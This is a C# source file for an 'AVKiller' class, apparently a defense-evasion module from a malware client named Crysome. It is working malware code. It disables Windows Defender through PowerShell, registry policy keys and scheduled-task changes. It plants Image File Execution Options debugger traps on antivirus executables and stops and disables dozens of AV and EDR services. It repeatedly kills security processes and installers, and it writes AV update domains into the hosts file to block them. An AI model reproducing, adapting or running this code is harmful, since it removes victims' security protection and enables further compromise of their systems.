using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

namespace Crysome.Client.Configuration;

public static class AVKiller
{
	private struct LUID
	{
		public uint LowPart;

		public int HighPart;
	}

	private struct TOKEN_PRIVILEGES
	{
		public int PrivilegeCount;

		public LUID Luid;

		public int Attributes;
	}

	private static volatile bool _running;

	private static readonly HashSet<string> AVProcs = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
	{
		"MsMpEng", "MpCmdRun", "MsASCuIL", "SecurityHealthService", "SecurityHealthHost", "SecurityHealthSystray", "ConfigSecurityPolicy", "NisSrv", "NortonSecurity", "navapsvc",
		"nsWscSvc", "NProtect", "ccSvcHst", "SymCorpUI", "McShield", "McUICnt", "mfemms", "mfevtps", "masvc", "McAPExe",
		"MMSSHOST", "ModuleCoreService", "avp", "avpui", "kavfs", "kavfsgt", "klnagent", "bdagent", "vsserv", "bdservicehost",
		"bdntwrk", "updatesrv", "seccenter", "bdredline", "ProductAgentService", "AvastSvc", "AvastUI", "aswidsagent", "afwServ", "aswToolsSvc",
		"aswEngSrv", "avgnt", "avguard", "AVGSvc", "AVGUI", "avgidsagent", "ekrn", "egui", "EsetService", "EHttpSrv",
		"MBAMService", "mbamtray", "mbam", "MBAMWsc", "PccNTMon", "TmListen", "ntrtscan", "tmbmsrv", "TmProxy", "coreServiceShell",
		"SAVAdminService", "SavService", "SophosHealth", "SophosCleanM", "SophosFileScanner", "SophosFS", "fshoster", "FSMA32", "fsaua", "fsorsp",
		"cmdagent", "CisTray", "cavwp", "PSANHost", "PSUAMain", "PSUAService", "WRSA", "WRCoreService", "a2service", "a2guard",
		"a2start", "ZoneAlarm", "vsmon", "zlclient", "CSFalconService", "csagent", "CSFalconContainer", "SentinelAgent", "SentinelServiceHost", "SentinelStaticEngine",
		"SentinelHelperService", "CylanceSvc", "CylanceUI", "RepMgr", "CbDefense", "CbDefenseSensor", "dwengine", "dwservice", "SpIDerAgent", "dwarkdaemon",
		"Avira.ServiceHost", "avshadow", "Avira.SystrayStartTrigger", "GDScan", "AVKService", "SCANMAIN", "BDSS", "SBAMSvc", "BullGuardBhvProcessing", "BullGuardScanner",
		"BullGuardUpdate", "360Tray", "360sd", "ZhuDongFangYu"
	};

	private static readonly string[] AVKeywords = new string[42]
	{
		"norton", "symantec", "mcafee", "kaspersky", "bitdefender", "avast", "avg antivirus", "eset", "nod32", "malwarebytes",
		"trend micro", "trendmicro", "sophos", "f-secure", "comodo", "panda security", "webroot", "emsisoft", "zonealarm", "crowdstrike",
		"sentinelone", "sentinel one", "cylance", "carbon black", "carbonblack", "bullguard", "vipre", "quick heal", "quickheal", "dr.web",
		"drweb", "avira", "g data", "gdata", "360 total security", "360totalsecurity", "antivirus", "anti-virus", "endpoint protection", "internet security",
		"total security", "windows defender"
	};

	private static readonly string[] AVServices = new string[41]
	{
		"WinDefend", "WdNisSvc", "SecurityHealthService", "wscsvc", "Sense", "McShield", "masvc", "mfemms", "mfevtp", "HomeNetSvc",
		"McProxy", "McODS", "AVP", "kavfsgt", "klnagent", "VSSERV", "EPSecurityService", "EPUpdateService", "EPIntegrationService", "avast! Antivirus",
		"AvastWscReporter", "aswbIDSAgent", "avast! Firewall", "avgwd", "AVGSvc", "ekrn", "EsetService", "MBAMService", "ntrtscan", "TmListen",
		"tmbmsrv", "TmProxy", "SAVAdminService", "SAVService", "Sophos MCS Agent", "cmdAgent", "CSFalconService", "SentinelAgent", "SentinelStaticEngine", "CylanceSvc",
		"CbDefense"
	};

	private static readonly string[] IFEOTargets = new string[34]
	{
		"avp.exe", "avpui.exe", "ekrn.exe", "egui.exe", "bdagent.exe", "vsserv.exe", "bdservicehost.exe", "AvastSvc.exe", "AvastUI.exe", "afwServ.exe",
		"AVGSvc.exe", "AVGUI.exe", "MBAMService.exe", "mbamtray.exe", "SavService.exe", "SAVAdminService.exe", "CylanceSvc.exe", "CylanceUI.exe", "WRSA.exe", "WRCoreService.exe",
		"a2service.exe", "a2guard.exe", "CSFalconService.exe", "csagent.exe", "SentinelAgent.exe", "SentinelServiceHost.exe", "NortonSecurity.exe", "ccSvcHst.exe", "McShield.exe", "masvc.exe",
		"fshoster.exe", "FSMA32.exe", "PSANHost.exe", "PSUAMain.exe"
	};

	private static readonly string[] AVUpdateDomains = new string[33]
	{
		"update.nai.com", "download.mcafee.com", "vs.mcafee.com", "update.avg.com", "download.avg.com", "update.avast.com", "download.avast.com", "iavs9x.u.avast.com", "dnl-01.geo.kaspersky.com", "dnl-02.geo.kaspersky.com",
		"downloads.kaspersky-labs.com", "update.eset.com", "download.eset.com", "download.bitdefender.com", "upgrade.bitdefender.com", "nimbus.bitdefender.net", "download.sophos.com", "dci.sophosupd.com", "sophosupdate.sophos.com", "mb3-download.malwarebytes.com",
		"downloads.malwarebytes.com", "data-cdn.mbamupdates.com", "definitions.symantec.com", "liveupdate.symantec.com", "symantecliveupdate.com", "update.trendmicro.com", "download.trendmicro.com", "download.f-secure.com", "guts2.f-secure.com", "update.drweb.com",
		"download.drweb.com", "update.avira.com", "install.avira-update.com"
	};

	public static void Start()
	{
		if (!_running)
		{
			_running = true;
			Task.Factory.StartNew(MainLoop, TaskCreationOptions.LongRunning);
		}
	}

	public static void Stop()
	{
		_running = false;
	}

	private static async void MainLoop()
	{
		Program.Log("AVKiller: active");
		await Task.WhenAll(Task.Run(delegate
		{
			try
			{
				NeutralizeDefender();
			}
			catch
			{
			}
		}), Task.Run(delegate
		{
			try
			{
				SetIFEOTraps();
			}
			catch
			{
			}
		}), Task.Run(delegate
		{
			try
			{
				DisableAVServices();
			}
			catch
			{
			}
		}), Task.Run(delegate
		{
			try
			{
				PoisonHostsFile();
			}
			catch
			{
			}
		})).ConfigureAwait(continueOnCapturedContext: false);
		Program.Log("AVKiller: hardening done");
		while (_running)
		{
			try
			{
				await Task.WhenAll(Task.Run(delegate
				{
					ScanAndKillProcesses();
				}), Task.Run(delegate
				{
					InterceptInstallers();
				})).ConfigureAwait(continueOnCapturedContext: false);
			}
			catch (Exception ex)
			{
				Program.Log("AVKiller loop: " + ex.Message);
			}
			await Task.Delay(2000).ConfigureAwait(continueOnCapturedContext: false);
		}
	}

	private static void ScanAndKillProcesses()
	{
		Process[] processes;
		try
		{
			processes = Process.GetProcesses();
		}
		catch
		{
			return;
		}
		Parallel.ForEach(processes, delegate(Process proc)
		{
			try
			{
				if (AVProcs.Contains(proc.ProcessName))
				{
					proc.Kill();
					Program.Log("AVKiller: killed " + proc.ProcessName + " pid=" + proc.Id);
				}
			}
			catch
			{
			}
			finally
			{
				try
				{
					proc.Dispose();
				}
				catch
				{
				}
			}
		});
	}

	private static void InterceptInstallers()
	{
		Process[] processes;
		try
		{
			processes = Process.GetProcesses();
		}
		catch
		{
			return;
		}
		Parallel.ForEach(processes, delegate(Process proc)
		{
			try
			{
				string text = proc.ProcessName.ToLowerInvariant();
				if (text == "msiexec" || text.Contains("setup") || text.Contains("install"))
				{
					string commandLine = GetCommandLine(proc.Id);
					string text2 = null;
					try
					{
						text2 = proc.MainModule?.FileName;
					}
					catch
					{
					}
					if (ContainsAVKeyword((commandLine + " " + text2).ToLowerInvariant()))
					{
						proc.Kill();
						Program.Log("AVKiller: blocked installer " + proc.ProcessName + " pid=" + proc.Id);
						KillProcessTree(proc.Id);
					}
				}
			}
			catch
			{
			}
			finally
			{
				try
				{
					proc.Dispose();
				}
				catch
				{
				}
			}
		});
	}

	private static bool ContainsAVKeyword(string text)
	{
		for (int i = 0; i < AVKeywords.Length; i++)
		{
			if (text.IndexOf(AVKeywords[i], StringComparison.OrdinalIgnoreCase) >= 0)
			{
				return true;
			}
		}
		return false;
	}

	private static string GetCommandLine(int pid)
	{
		try
		{
			using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId=" + pid);
			using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
			using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectCollection.GetEnumerator();
			if (managementObjectEnumerator.MoveNext())
			{
				return ((ManagementObject)managementObjectEnumerator.Current)["CommandLine"]?.ToString();
			}
		}
		catch
		{
		}
		return null;
	}

	private static void KillProcessTree(int parentPid)
	{
		try
		{
			using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_Process WHERE ParentProcessId=" + parentPid);
			using ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
			foreach (ManagementObject item in managementObjectCollection)
			{
				int num = Convert.ToInt32(item["ProcessId"]);
				KillProcessTree(num);
				try
				{
					Process.GetProcessById(num).Kill();
				}
				catch
				{
				}
			}
		}
		catch
		{
		}
	}

	private static void NeutralizeDefender()
	{
		ExecAsync("powershell", "-EP Bypass -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true\"").Wait();
		List<Task> list = new List<Task>();
		string[] array = new string[8] { "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", "\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v TamperProtection /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SpyNetReporting /t REG_DWORD /d 0 /f", "\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet\" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f" };
		foreach (string text in array)
		{
			list.Add(ExecAsync("reg", "add " + text));
		}
		list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable"));
		list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable"));
		list.Add(ExecAsync("schtasks", "/Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable"));
		Task.WaitAll(list.ToArray());
	}

	private static void SetIFEOTraps()
	{
		Task[] array = new Task[IFEOTargets.Length];
		for (int i = 0; i < IFEOTargets.Length; i++)
		{
			array[i] = ExecAsync("reg", "add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + IFEOTargets[i] + "\" /v Debugger /t REG_SZ /d \"cmd.exe /c echo\" /f");
		}
		Task.WaitAll(array);
	}

	private static void DisableAVServices()
	{
		EnableDebugPrivilege();
		string[] aVServices = AVServices;
		foreach (string text in aVServices)
		{
			try
			{
				Process.Start(new ProcessStartInfo("sc.exe", "stop \"" + text + "\"")
				{
					UseShellExecute = false,
					CreateNoWindow = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				Process.Start(new ProcessStartInfo("sc.exe", "config \"" + text + "\" start= disabled")
				{
					UseShellExecute = false,
					CreateNoWindow = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
				Process.Start(new ProcessStartInfo("net.exe", "stop \"" + text + "\" /y")
				{
					UseShellExecute = false,
					CreateNoWindow = true,
					WindowStyle = ProcessWindowStyle.Hidden
				});
			}
			catch
			{
			}
		}
	}

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);

	[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

	[DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();

	[DllImport("kernel32.dll")]
	private static extern bool CloseHandle(IntPtr hObject);

	private static void EnableDebugPrivilege()
	{
		try
		{
			if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
			{
				TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
				NewState.PrivilegeCount = 1;
				NewState.Attributes = 2;
				if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
				{
					AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
				}
				CloseHandle(TokenHandle);
			}
		}
		catch
		{
		}
	}

	private static void PoisonHostsFile()
	{
		try
		{
			string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers", "etc", "hosts");
			if (!(File.Exists(path) ? File.ReadAllText(path) : "").Contains("# avk-block"))
			{
				string text = Environment.NewLine + "# avk-block" + Environment.NewLine;
				string[] aVUpdateDomains = AVUpdateDomains;
				foreach (string text2 in aVUpdateDomains)
				{
					text = text + "0.0.0.0 " + text2 + Environment.NewLine;
				}
				File.AppendAllText(path, text);
				Program.Log("AVKiller: hosts file poisoned");
			}
		}
		catch
		{
		}
	}

	private static Task ExecAsync(string exe, string args)
	{
		return Task.Run(delegate
		{
			try
			{
				using Process process = Process.Start(new ProcessStartInfo(exe, args)
				{
					CreateNoWindow = true,
					WindowStyle = ProcessWindowStyle.Hidden,
					UseShellExecute = false,
					RedirectStandardOutput = true,
					RedirectStandardError = true
				});
				process?.WaitForExit(8000);
			}
			catch
			{
			}
		});
	}
}
